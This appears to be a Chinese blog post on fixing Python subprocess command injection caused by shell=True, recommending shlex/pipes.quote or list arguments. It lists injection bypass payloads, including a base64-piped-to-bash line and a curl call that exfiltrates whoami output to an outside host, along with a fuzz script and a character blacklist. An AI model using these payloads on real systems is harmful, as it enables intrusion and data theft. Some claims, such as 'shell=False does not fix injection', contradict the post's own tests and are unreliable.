如何修复Python任意命令执行漏洞

遇到一个不好做白名单的Python命令执行漏洞修复的问题。由于是shell=True导致的任意命令执行,一开始大胆猜测将True改为False即可。经过测试确实是这样,但是参数需要放在list里,稍微有点麻烦。后来考虑,还可以做黑名单,过滤掉特殊字符,那就写fuzz脚本跑那些需要过滤的字符。

1  前言

今天遇到一个不好做白名单的Python命令执行漏洞修复的问题。由于是shell=True导致的任意命令执行,一开始大胆猜测将True改为False即可。经过测试确实是这样,但是参数需要放在list里,稍微有点麻烦。

后来考虑,还可以做黑名单,过滤掉特殊字符,那就写fuzz脚本跑那些需要过滤的字符。最后觉得黑名单方式可能会被绕过,就看官方文档,发现了一个牛逼的修复方法,利用shlex.quote()在命令的参数两边加上一对单引号。

2  测试环境

  • CentOS Linux release 7.3.1611 (Core)

  • Python 2.7.5

本文在没有特殊描述环境下,都是在以上环境测试。

3  shell值为True和False的区别

先来看看造成命令执行的代码

s=subprocess.Popen('id', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
print(s.communicate()) # 输出结果,并kill产生的新进程

shell=True,并且第一个参数外部可控,那么就能造成任意命令执行。

3.1 shell为False

改为False,任意命令执行漏洞就会被修复。但确实是这样

>>> s=subprocess.Popen(["ls",";id"], shell=False, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
>>> s.communicate()
('', 'ls: cannot access ;id: No such file or directory\n')

这样即使;id可控,也不能任意命令执行。

执行cat /etc/passwd,如果命令要跟参数,第一个参数必须是一个list。

>>> import subprocess
>>> s=subprocess.Popen(['cat', '/etc/passwd'], shell=False, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

此时,查看python的进程情况:

[root@sec ~]# ps -ef | grep 24593
root     24593 24536  0 11:28 pts/0    00:00:00 python
root     24594 24593  0 11:28 pts/0    00:00:00 [cat] <defunct>

可以看到python有一个子进程叫做(cat)。证明,shell=False是python作为父进程执行了cat这个bin文件,产生一个子进程。测试的时候,如果要kill刚产生的子进程,使用s.communicate(),并查看返回结果。

测试发现,当shell=True,并且subprocess.Popen的第一个参数为一个list时,python进程会被卡死。

3.2 shell为True

import subprocess
s=subprocess.Popen('whoami | wc -l', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

可以看到,Python新建了一个叫sh的子进程,该进程执行了whoami | wc -l命令。继续执行python命令s.communicate(),刚产生的子进程就被kill了。

[root@sec ~]# ps -ef | grep 16323
root 16323 16256 0 14:20 pts/0 00:00:00 python
root 16379 16323 0 14:26 pts/0 00:00:00 [sh] <defunct>

所以,证明,当shell=True时,Python调用/bin/sh去执行命令。

但是有一个特例,当shell=True,执行一个没有任何参数的命令的情况和shell=False一样。说明,没有任何参数的命令,设置shell=True,并没有生效。

s=subprocess.Popen('whoami', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

再查看发现,python的子进程并没有sh,而是[[whoami] <defunct>],所以证明了,没有任何参数的命令,设置shell=True,并没有新建一个bash去执行该命令。

[root@sec ~]# ps -ef | grep whoami
root 16200 15484 0 14:13 pts/0 00:00:00 [whoami] <defunct>
root 16203 11641 0 14:14 pts/1 00:00:00 grep --color=auto whoami

[root@sec ~]# ps -ef | grep 15484
root 15484 10092 0 12:24 pts/0 00:00:00 python
root 16200 15484 0 14:13 pts/0 00:00:00 [whoami] <defunct>

3.3 总结二者区别

比较简单粗暴的可以理解为,True用/bin/sh执行,False是Python直接调用命令,而不会通过bash。

具体的细节区别:

  • 当执行的命令没有参数时,无论是否设置shell=True,python直接执行该命令,而不是通过/bin/sh

  • 当shell=True,并且命令存在参数时,python调用/bin/sh执行命令

  • shell=True,并且subprocess.Popen的第一个参数为一个list时,python进程会被卡死

  • 如果设置shell为False,并且想执行带参数的命令,第一个参数必须是一个list

4  Linux命令执行绕过

现在有个目标是,利用ls xx来执行id命令,xx可控。fuzz后的结果:

ls | id
ls ; id
ls & id
ls 回车 id
ls `id`
ls ` id` 前面加了一个空格
ls `\id` 反斜杠 i\d等价于id
ls $(id)

下面这几种姿势是在网上的相关paper看到的,补充下,不过还是会利用| & ;等分割符。

ls | a=i;b=d;$a$b   拼接
ls | echo aWQ=| base64 -d | bash 利用base64
ls | curl test.joychou.org/`whoami` 利用dnslog或者http web log

5  漏洞修复

所以看来,设置shell=False并不能修复命令执行,并且还会影响我们想执行的正常命令。

那就做特殊字符过滤吧。从上面的绕过姿势来看,需要过滤的字符总结如下:

ascii为10
;
|
&
`
$
\
(
)

fuzz的代码大概如下,如果有特殊需求,还需要酌情修改。

#coding: utf-8

import subprocess


def exec_cmd(cmd):
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
res_msg, res_err = p.communicate()
res = res_msg + res_err
return res


def main():
for i in range(1, 256):
cmd = 'echo 111 ' + chr(i) + ' id'
if 'uid' in exec_cmd(cmd):
print chr(i), i, cmd

for i in range(32, 126): # 可见ascii码
if chr(i) == 'u' or chr(i) == '|' or chr(i) == '&' or chr(i) == ';' or i == 10:
continue
for j in range(32, 126):
cmd = 'echo 111 ' + chr(i) + 'id' + chr(j)
if 'uid' in exec_cmd(cmd):
print chr(i), i, cmd


if __name__ == '__main__':
main()

综上,检测代码:

def check_cmd_exec(input):
'''
       * input为输入字符串
       * 检测到危险字符串,返回True,否则返回False
       * author: JoyChou
       * date:   2018-03-21
   '''
res = ''
blacklist = '`$\()&;|'

for i, ch in enumerate(input):
if ord(ch) == 10 or ch in blacklist:
return True
return False

不过,话说,有没有自带比较简单粗暴的过滤函数之类的?既能保证功能正常,也能保证安全性。

6  官方修复

最后在官方文档上看到这样一个描述:

When using shell=True, pipes.quote() can be used to properly escape whitespace and shell metacharacters in strings that are going to be used to construct shell commands.

意思就是,用pipes.quote()过滤就好了。

不过,这个库已经被官方废弃了,官方推荐使用shlex.quote()。 其实pipes.quote()shlex.quote()这两个功能一样,都是当参数有特殊字符时,在参数两边加上一对''

>>> a = shlex.quote('xxaa~')
>>> a
"'xxaa~'"

>>> a = shlex.quote('xxaa')
>>> a
'xxaa'

避免命令的原理,看下这个实例就懂了。

>>> filename = 'somefile; whoami'
>>> command = 'ls -l {}'.format(quote(filename))
>>> print(command)
ls -l 'somefile; whoami'

需要注意,只能用在参数上。并且Python2没有shlex,但是Python2和3都有pipes,所以想都适配就用pipes

7  总结

推荐两种修复方式:

  • shell=True,使用pipes.quote()对参数进行过滤

  • shell=False,参数使用list。缺点是写参数时会稍微麻烦点

8  Reference

@JoyChou博客链接:https://joychou.org

2

取消
Loading...

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php